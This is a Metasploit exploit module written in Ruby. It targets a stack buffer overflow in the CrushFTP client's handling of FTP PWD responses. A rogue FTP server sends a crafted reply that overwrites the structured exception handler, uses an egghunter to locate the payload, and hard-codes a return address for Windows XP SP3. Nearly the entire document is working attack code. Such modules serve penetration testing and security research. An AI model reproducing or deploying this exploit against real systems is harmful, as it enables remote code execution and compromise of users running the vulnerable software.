CrushFTP HTTP Server Stack Buffer Overflow (PWD)

##
# $Id: CrushFTP_HTTP_Server.rb 11039 2010-11-14 19:03:24Z jduck $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::FtpServer
    include Msf::Exploit::Remote::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CrushFTP HTTP Server Stack Buffer Overflow (PWD)',
            'Description'    => %q{
                    This module exploits a buffer overflow in CrushFTP HTTP Server ftp client.
                When processing the response on a PWD command, a stack based buffer overflow occurs.
                This leads to arbitrary code execution when a structured exception handler gets
                overwritten.
            },
            'Author'     =>
                [
                    'Angel Injection', # found the bug
                    
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 11039 $",
            'References'     =>
                [
                    [ 'OSVDB', '16869'],
                    [ 'URL', 'http://www.1337day.com/exploits/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5  } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2010',
            'DefaultTarget'  => 0))
 
    end
 
    def setup
        super
        badchars = ""
        eggoptions =
        {
        :checksum => true,
        :eggtag => "W00T"
        }
        @hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
    end
 
    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end
 
    def on_client_command_pass(c,arg)
        @state[c][:pass] = arg
        c.put("230 OK #{@egg}\r\n")
        return
    end
 
    def on_client_command_pwd(c,arg)
        junk1 = "A" * target['Offset']
        junk2 = "A" * 9
        nseh = "\x74\x06\x41\x41"
        jmp = "\x75\x08"
        seh = [target.ret].pack('V')
        junk3 = "D" * 22000
        #dual offset
        buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
        c.put("257 \"/\" #{buffer}\r\n")
        print_status("Sent payload, #{buffer.length} bytes")
        print_status("Wait for hunter ...")
        return
    end
 
end